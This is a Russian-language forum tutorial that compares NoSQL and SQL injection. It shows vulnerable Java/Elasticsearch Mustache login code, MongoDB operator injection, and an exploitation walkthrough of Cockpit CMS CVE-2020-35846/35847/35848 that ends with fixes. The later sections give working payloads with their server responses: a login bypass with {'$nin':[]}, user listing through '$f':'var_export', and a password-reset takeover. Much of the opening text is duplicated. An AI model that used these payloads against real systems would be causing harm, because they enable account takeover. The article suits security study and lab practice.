У нас на форуме и так 2 статьи на тему носкули, в этой статье вы узнаете следующее:
1. Анализ кода в разных языках показывающий откуда может выйти носкуля
2. Практический пример с ЦВЕшками
Вам стоит это прочитать если вы:
1. Считаете что инъекция в носкуле и скуле почти одно и то же
2. Хотите заткнуть интервьювера если будет утверждать первый пунк
3. Планируете изучить ОРМ лик
Базы данных SQL используют структурированные запросы с предопределенными схемами.
Базы данных NoSQL имеют неструктурированные модели данных.
Сложность уязвимостей:
Уязвимости SQL-инъекции обычно легче эксплуатировать из-за стандартизированного характера SQL.
NoSQL-инъекции могут быть более сложными, поскольку различные базы данных NoSQL имеют разные способы обработки вводных данных.
Язык запросов:
Уязвимости SQL-инъекции направляются на структурированные SQL-запросы.
Уязвимости NoSQL-инъекции связаны с эксплуатацией функций и методов в специфических языках, таких как JavaScript для MongoDB.
Скажу вам такое, единственное что присоединяет скулю и носкулю (в контексте инъекции) это то что они оба с БД связаны и всё. А так если честно, то носкуля больше похожа на десериализацию/инъекцию кода, нежели на скл инъекцю (имхо, в контексте эксплаутации)
Писать о разнице скули, носкули я не буду, материала полно, так что давайте к делу
Особо писать о функциональностях elasticsearch я не планирую, документации и так существуют, тут главное для нас это понять наши лимиты и возможности, , а для этого мы как минимум должны знать то как получают данные через elasticsearch.
Если забуду добавить постман, напомните
Словарь:
Database->Index->Контейнер для данных (например, users, products).
Row->Document->JSON-объект, представляющий отдельную запись (например, профиль пользователя).
Column->Field->Пара ключ-значение внутри документа (например, "name": "John").
Schema->Mapping->Определяет структуру полей (типы данных, форматы).
Существует несколько типов данных, которые я сам тоже не знаю, но на них нужно обращать внимание, потому что в некоторых запросах тип данных может повлиять на поиск информации.
Например, существуют типы keyword/text. Если поставить тип текст, то потом в поиске пробел будет работать как "или". А в keyword точное совпадение.
Создаём пользователя с паролем "secret pass":
Ищем "pass":
Это больше связано с безопасной разработкой нежели с nosql инъекцией, но знать не помешает.
После создания индекса можем создать обычного пользователя:
Обычный поиск по почте:
Также стоит чекнуть структуру квери в elasticsearch, например нельзя написать 2 field внутри одного term:
Для этого мы можем возпользоваться "bool". Относительно документации elasticsearch
Булев запрос — это запрос, который сопоставляет документы, соответствующие булевым комбинациям других запросов.
На человеческом: присоединяет несколько квери используя логические операторы как И/ИЛИ/НЕТ.
Оператор "И" который проверяет совпадает ли пароль И почта:
Оператор "ИЛИ" который проверяет совпадает ли пароль ИЛИ почта:
Это знать важно потому что если в квери только почта и пароль где стоит маст, даже и если будет инъекция (в зависимости от ситуации), вряд ли это нам что то даст. Вы можете подумать о "$ne", такое тут не прокатит. Где то альтернативой здесь является must_not, который внутри email/password не поставишь, а внутри bool ставить смысла нет, потому что и так выше стоит must. Конечно случаи могут быть разные, но именно в примере с must выше, оно вам не поможет.
А если стоит should, то мы можем просто добавить айди и получим ответ (в elasticsearch везде имеется айди).
Также если мы захочем чтобы совпадало несколько начений то мы можем воспользоваться minimum_should_match. Оно позволяет указать минимальное количество необязательных положений, которые должны совпадать, чтобы документ считался релевантным.
Например, выше я написал неправильную почту, но правильный пароль, из-за того что минимальное количество значений которое должно совпадать равно двум, ответ будет пустой.
Во время спора с интервъювером, максимально не торгайте тему эластика, так как если сравнивать скулю и носкулю и как пример привести эластик, то тут инъекция слишком схожая. Помните, основная причина по которoй можно выиграть этот спор, это то что SQL-инъекция манипулирует синтаксисом на основе строк, чтобы изменить логику SQL (тут ,кроме параметризованных запросов, для фикса нужен эскейп, чтобы из кавычек не выходило), а NoSQL-инъекция злоупотребляет операторами JSON/BSON или выполнением JavaScript (тут нужна проверка типов входных данных). НО в случаи с elasticsearch, нужно и то и другое xD
Стандартным тэгом в мусташ внутри которого ставят стринг является {{string}}, который выведет значение переменной string с экранированием HTML. {{{string}}} выведет значение переменной string без экранирования HTML. {{& string}} -это альтернативный синтаксис для неэкранированного вывода, эквивалентный тройным фигурным скобкам
То что мусташ "logicless", это не означает, что он не может работать с данными, включая пользовательский ввод. Это означает, что сам шаблонизатор не содержит сложных конструкций для обработки этих данных. Им могут воспольсоваться чтобы принять входные данные, как на примере ниже:
Темплейт выше используется в функции findUser для входа:
То где используется функция findUser:
Относительно трмплейта мусташ, внутрь username/password мы можем вставить что угодно и это должно сработать.
Сперва создадим юзера:
Входим:
Мы можем добавить minimum_should_match и обойти вход не зная пароль:
Мы знаем где уязвимость и в чём проблема, можем перейти к фиксу уязвимости:
Довольно просто, не так ли? В скуле фикса такого рода через самого мусташ не будет и на это много разных причин. Начнём с того что elasticsearch нативно поддерживает Mustache, что позволяет использовать его для динамического формирования запросов. Механизм _search/template позволяет передавать Mustache-шаблоны напрямую в Elasticsearch, где параметры подставляются автоматически. MySQL не поддерживает JSON-запросы нативно, что делает применение Mustache менее удобным. SQL-запросы представляют собой строки, а не структурированные объекты В MySQL нельзя напрямую передать шаблон Mustache, как это делается в Elasticsearch.
Примеры ниже это лабы с код анализом.
Особо описывать это всё смысла нет, вот плейграунд: https://www.humongous.io/tools/playground/mongodb/new
Пример одного запроса просто чтобы было представление:
Пример имплементации монго в тайпскрипт
Можно сразу понять что система напрямую принимает почту и пароль с запроса и потом использует findOne чтобы искать почту. Пароль проверяет через функцию validPassword. А validPassword работает так не сравнивает напрямую с функциями монго:
Представим что язык в плэйграунде это и есть почта, он на данный момент стринг, но можем мы вставить вместо стринга что угодно. Хоть монгодб хранит данные в BSON (binary JSON), он также принимает JSON-подобный ввод при выполнении запросов, особенно в node приложениях с использованием библиотек, таких как монгодб или мангус. Так что вместо стринга мы можем поставить джсон объект, внутри которого операторы типа $ne (https://www.mongodb.com/docs/manual/reference/operator/query/)
Для разнообразности воспользуемся $nin (Not IN) означает "не содержится в списке".:
В нашем случаи это не сработает, так как у нас слепая носкуля:
Но тут такой трик, если почта неправильная, то мы получим Incorrect Emai, а во всех остальных случаях Incorrect Password. Кстати, если пэйлоад {"$nin":[]}, то совпадающий пароль, это пароль первого пользователя в БД.
В таком случаи можно воспользоваться регекс и если почты будут совпадать, то в выходе будет email, например "Есть ли почта которая начинается с 'us'?":
Как таск советую попробпвать это в Owasp Juice Shop.
Фикс довольно простой, нужно просто принять данные как стринг, а не как что попало xD
Как ответ пришел "Incorrect email" , что подтверждает то что фикс сработал:
Сам фикс этой уязвимости показывает то насколько отличается скуля от носкули. По фиксу вообще напоминает загрезнение прототипа, десериализацию, но точно не скулю. А то что до этого (эластик) напоминает ХСС, но не скулю.
Уязвимость в версиях до 0.11.2, так что можете поднять эту ерсию из докера -agentejo/cockpit:0.11.0
Значит отредактировали всего 2 файла, lib/MongoLite/Database.php и modules/Cockpit/Controller/Auth.php
В фиксе Auth.php добавили is_string, это показывает то что до этого он наверняка мог брать эррэй
В коммите 33e7199575631ba1f74cba6b16b10c820bec59af описали проблему, из-за которой можно было ызывать функции не только монго, но и php. Так что убрали использование
$fn/func/f целиком и добавили просто функцию $where для тех кому надо.
Фикс в Auth.php касается параметров user/password/token.
Функция чек используется при входе, так что уязвимость есть в юзер/пасс, но в пасс эксплоитнуть не выйдет так как там потом вызывается функция password_verify($data['password'], $user['password']) в которой пароль ожидается как стринг, а не как эррэй.
Запрос 1:
Ответ 1:
Запрос 2:
Ответ 2:
Если чекнуть Database.php увидем такой кусок кода:
Тут \$б это имя функции, а \$а это имена пользователей в системе. Тоесть если мы воспользуемся функцией var_export (показывает содержимое переменной как готовый PHP-код) то должно выдать список пользователей.
Запрос:
Ответ:
Уязвим токен в resetpassword тоже, так что можем поменять пароли пользователей без проблем. Значит сперва отправляем пост запрос в requestreset:
Ответ:
Этот эррор как я понял от моего сервера идёт, генерация токена по ходу до него происходит и проблема в отправке токена в почту. Для нас главное чтобы токен создался и всё.
Отправка запроса на создание ресет пароля:
Ответ:
1. Анализ кода в разных языках показывающий откуда может выйти носкуля
2. Практический пример с ЦВЕшками
Вам стоит это прочитать если вы:
1. Считаете что инъекция в носкуле и скуле почти одно и то же
2. Хотите заткнуть интервьювера если будет утверждать первый пунк
3. Планируете изучить ОРМ лик
Мой взгляд на ситуацию
Тип базы данных и структура:Базы данных SQL используют структурированные запросы с предопределенными схемами.
Базы данных NoSQL имеют неструктурированные модели данных.
Сложность уязвимостей:
Уязвимости SQL-инъекции обычно легче эксплуатировать из-за стандартизированного характера SQL.
NoSQL-инъекции могут быть более сложными, поскольку различные базы данных NoSQL имеют разные способы обработки вводных данных.
Язык запросов:
Уязвимости SQL-инъекции направляются на структурированные SQL-запросы.
Уязвимости NoSQL-инъекции связаны с эксплуатацией функций и методов в специфических языках, таких как JavaScript для MongoDB.
Скажу вам такое, единственное что присоединяет скулю и носкулю (в контексте инъекции) это то что они оба с БД связаны и всё. А так если честно, то носкуля больше похожа на десериализацию/инъекцию кода, нежели на скл инъекцю (имхо, в контексте эксплаутации)
Писать о разнице скули, носкули я не буду, материала полно, так что давайте к делу
О том откуда появляется уязвимость
Java и Elasticsearch
Elasticsearch - это NoSQL, предназначенная для работы с неструктурированными или частично структурированными данными. В отличие от традиционных реляционных баз данных (RDBMS) он использует JSON-документы без схемы, также он не поддерживает сложные JOIN-операции или SQL-подобные запросы, используя вместо этого Query DSL (Domain-Specific Language).Особо писать о функциональностях elasticsearch я не планирую, документации и так существуют, тут главное для нас это понять наши лимиты и возможности, , а для этого мы как минимум должны знать то как получают данные через elasticsearch.
Если забуду добавить постман, напомните
Словарь:
Database->Index->Контейнер для данных (например, users, products).
Row->Document->JSON-объект, представляющий отдельную запись (например, профиль пользователя).
Column->Field->Пара ключ-значение внутри документа (например, "name": "John").
Schema->Mapping->Определяет структуру полей (типы данных, форматы).
Чуток об Elasticsearch
Начнём с создания индекса
Существует несколько типов данных, которые я сам тоже не знаю, но на них нужно обращать внимание, потому что в некоторых запросах тип данных может повлиять на поиск информации.
Например, существуют типы keyword/text. Если поставить тип текст, то потом в поиске пробел будет работать как "или". А в keyword точное совпадение.
Создаём пользователя с паролем "secret pass":
Ищем "pass":
Это больше связано с безопасной разработкой нежели с nosql инъекцией, но знать не помешает.
После создания индекса можем создать обычного пользователя:
Обычный поиск по почте:
Также стоит чекнуть структуру квери в elasticsearch, например нельзя написать 2 field внутри одного term:
Для этого мы можем возпользоваться "bool". Относительно документации elasticsearch
Булев запрос — это запрос, который сопоставляет документы, соответствующие булевым комбинациям других запросов.
На человеческом: присоединяет несколько квери используя логические операторы как И/ИЛИ/НЕТ.
Оператор "И" который проверяет совпадает ли пароль И почта:
Оператор "ИЛИ" который проверяет совпадает ли пароль ИЛИ почта:
Это знать важно потому что если в квери только почта и пароль где стоит маст, даже и если будет инъекция (в зависимости от ситуации), вряд ли это нам что то даст. Вы можете подумать о "$ne", такое тут не прокатит. Где то альтернативой здесь является must_not, который внутри email/password не поставишь, а внутри bool ставить смысла нет, потому что и так выше стоит must. Конечно случаи могут быть разные, но именно в примере с must выше, оно вам не поможет.
А если стоит should, то мы можем просто добавить айди и получим ответ (в elasticsearch везде имеется айди).
Также если мы захочем чтобы совпадало несколько начений то мы можем воспользоваться minimum_should_match. Оно позволяет указать минимальное количество необязательных положений, которые должны совпадать, чтобы документ считался релевантным.
Например, выше я написал неправильную почту, но правильный пароль, из-за того что минимальное количество значений которое должно совпадать равно двум, ответ будет пустой.
Во время спора с интервъювером, максимально не торгайте тему эластика, так как если сравнивать скулю и носкулю и как пример привести эластик, то тут инъекция слишком схожая. Помните, основная причина по которoй можно выиграть этот спор, это то что SQL-инъекция манипулирует синтаксисом на основе строк, чтобы изменить логику SQL (тут ,кроме параметризованных запросов, для фикса нужен эскейп, чтобы из кавычек не выходило), а NoSQL-инъекция злоупотребляет операторами JSON/BSON или выполнением JavaScript (тут нужна проверка типов входных данных). НО в случаи с elasticsearch, нужно и то и другое xD
Уязвимости в коде и их фикс
Mustache — это шаблонизатор без логики (иф/элс нативно нет, но можно через блоки поставить "если есть то..") для генерации динамического контента. Он использует синтаксис {{ }} для подстановки значений.Стандартным тэгом в мусташ внутри которого ставят стринг является {{string}}, который выведет значение переменной string с экранированием HTML. {{{string}}} выведет значение переменной string без экранирования HTML. {{& string}} -это альтернативный синтаксис для неэкранированного вывода, эквивалентный тройным фигурным скобкам
То что мусташ "logicless", это не означает, что он не может работать с данными, включая пользовательский ввод. Это означает, что сам шаблонизатор не содержит сложных конструкций для обработки этих данных. Им могут воспольсоваться чтобы принять входные данные, как на примере ниже:
Темплейт выше используется в функции findUser для входа:
Код:
public User findUser(User user) throws IOException {
Mustache template = mf.compile("login-query.mustache");
StringWriter writer = new StringWriter();
template.execute(writer, user).flush();
SearchRequest searchRequest = new SearchRequest("users")
.source(SearchSourceBuilder.searchSource()
.query(QueryBuilders.wrapperQuery(writer.toString())));
SearchResponse response = esClient.search(searchRequest, RequestOptions.DEFAULT);
return response.getHits().getHits().length > 0 ? user : null;
}
Код:
@PostMapping("/login")
public ResponseEntity<String> login(@RequestBody User user) {
try {
User foundUser = userService.findUser(user);
return foundUser != null ?
ResponseEntity.ok("Login success") :
ResponseEntity.status(401).body("Invalid");
} catch (Exception e) {
return ResponseEntity.status(500).body("Error");
}
}
Сперва создадим юзера:
Входим:
Код:
2025-03-21 14:02:41.035 DEBUG 913 --- [nio-8080-exec-2] com.example.UserService : Elasticsearch Query: {
"bool": {
"should": [
{"term": {"username": "victim"}},
{"term": {"password": "secret"}}
]
}
}
Код:
2025-03-21 14:05:14.612 DEBUG 913 --- [nio-8080-exec-5] com.example.UserService : Elasticsearch Query: {
"bool": {
"should": [
{"term": {"username": "victim"}},
{"term": {"password": ""}}],"minimum_should_match": 0}}"}}
]
}
}
Код:
{
"bool": {
"should": [
{"term": {"username": "{{username}}"}},
{"term": {"password": "{{password}}"}}
]
}
}
NodeJS/TS и MongoDB
В отличие от Elasticsearch, MongoDB не поддерживает Mustache нативно, однако шаблонизатор можно использовать для формирования JSON-запросов на стороне приложения.Примеры ниже это лабы с код анализом.
Особо описывать это всё смысла нет, вот плейграунд: https://www.humongous.io/tools/playground/mongodb/new
Пример одного запроса просто чтобы было представление:
Код:
db.collection.find({
language: "English"
})
=======================
[
{
_id: "67df2f91c7ddee8d843835b2",
name: "United States",
capital: "Washington, D.C.",
continent: "North America",
language: "English",
population: 328239523,
},
{
_id: "67df2f91c7ddee8d843835b5",
name: "Australia",
capital: "Canberra",
continent: "Australia",
language: "English",
population: 25681300,
},
];
Можно сразу понять что система напрямую принимает почту и пароль с запроса и потом использует findOne чтобы искать почту. Пароль проверяет через функцию validPassword. А validPassword работает так не сравнивает напрямую с функциями монго:
Представим что язык в плэйграунде это и есть почта, он на данный момент стринг, но можем мы вставить вместо стринга что угодно. Хоть монгодб хранит данные в BSON (binary JSON), он также принимает JSON-подобный ввод при выполнении запросов, особенно в node приложениях с использованием библиотек, таких как монгодб или мангус. Так что вместо стринга мы можем поставить джсон объект, внутри которого операторы типа $ne (https://www.mongodb.com/docs/manual/reference/operator/query/)
Для разнообразности воспользуемся $nin (Not IN) означает "не содержится в списке".:
Код:
db.collection.find({
language: {"$nin":[]}
})
==========================
[
{
_id: "67df39cf357d181601d11acd",
name: "United States",
capital: "Washington, D.C.",
continent: "North America",
language: "English",
population: 328239523,
},
{
_id: "67df39cf357d181601d11ace",
name: "Ivory Coast",
capital: "Abidjan",
continent: "Africa",
language: "French",
population: 26378274,
},
..........
Но тут такой трик, если почта неправильная, то мы получим Incorrect Emai, а во всех остальных случаях Incorrect Password. Кстати, если пэйлоад {"$nin":[]}, то совпадающий пароль, это пароль первого пользователя в БД.
В таком случаи можно воспользоваться регекс и если почты будут совпадать, то в выходе будет email, например "Есть ли почта которая начинается с 'us'?":
Как таск советую попробпвать это в Owasp Juice Shop.
Фикс довольно простой, нужно просто принять данные как стринг, а не как что попало xD
Как ответ пришел "Incorrect email" , что подтверждает то что фикс сработал:
Сам фикс этой уязвимости показывает то насколько отличается скуля от носкули. По фиксу вообще напоминает загрезнение прототипа, десериализацию, но точно не скулю. А то что до этого (эластик) напоминает ХСС, но не скулю.
CVE-2020-35846 / CVE-2020-35847 / CVE-2020-35848
У нас +- есть понятие об уязвимости в данный момент, мы понимаем что если эластик и мусташ работают, то фикс наверняка будет в темплейтинге, если монгодб то фикс будет связан с типами данных.Уязвимость в версиях до 0.11.2, так что можете поднять эту ерсию из докера -agentejo/cockpit:0.11.0
Сама уязвимость
Мы можем чекнуть коммиты чтобы как минимум понять где уязвимость (https://nvd.nist.gov/vuln/detail/CVE-2020-35848)Значит отредактировали всего 2 файла, lib/MongoLite/Database.php и modules/Cockpit/Controller/Auth.php
В фиксе Auth.php добавили is_string, это показывает то что до этого он наверняка мог брать эррэй
В коммите 33e7199575631ba1f74cba6b16b10c820bec59af описали проблему, из-за которой можно было ызывать функции не только монго, но и php. Так что убрали использование
$fn/func/f целиком и добавили просто функцию $where для тех кому надо.
Фикс в Auth.php касается параметров user/password/token.
Код:
public function check() {
if ($data = $this->param('auth')) {
+ if (!\is_string($data['user']) || !\is_string($data['password'])) {
+
+
+ return ['success' => false, 'error' => 'Pre-condition failed'];
+
+
+ }
....................
public function newpassword() {
if ($token = $this->param('token')) {
+ if (!\is_string($token)) {
+ return false;
+ }
....................
public function resetpassword() {
if ($token = $this->param('token')) {
+ if (!\is_string($token)) {
+ return false;
+ }
Запрос 1:
Код:
POST /auth/check HTTP/1.1
{"auth":{"user":{"$nin":[]},"password":"admin"},"csfr":"<csrf>"}
Код:
{"success":true,"user":{"user":"admin","email":"admin@yourdomain.de","group":"admin","name":"Admin","active":true,"i18n":"en","_created":1742729519,"_modified":1742729519,"_id":"67dff12f18795a5ae4443431"},"avatar":"a11eea8bf873a483db461bb169beccec"}
Код:
POST /auth/check HTTP/1.1
{"auth":{"user":{"$nin":[]},"password":{"$nin":[]}},"csfr":"<token>"}
Код:
<br />
<b>Warning</b>: password_verify() expects parameter 1 to be string, array given in <b>/var/www/html/modules/Cockpit/module/auth.php</b> on line <b>35</b><br />
Код:
case '$func' :
case '$fn' :
case '$f' :
if (\is_string($b) || !\is_callable($b))
throw new \InvalidArgumentException('Function should be callable');
$r = $b($a);
break;
Запрос:
Код:
POST /auth/check HTTP/1.1
{"auth":{"user":{"$f":"var_export"
},"password":"admin"},"csfr":"<csrf>"}
Код:
'admin''test'
Код:
POST /auth/requestreset HTTP/1.1
{"user":"admin"}
Код:
{"error":"Invalid address: (From): root@localhost"}
Отправка запроса на создание ресет пароля:
Код:
POST /auth/resetpassword HTTP/1.1
{"token":{"$nin":{}},"password":"pass"}
Код:
{"success":true,"message":"Password updated"}
Автор grozdniyandy
Источник https://xss.pro/
Вложения
Последнее редактирование: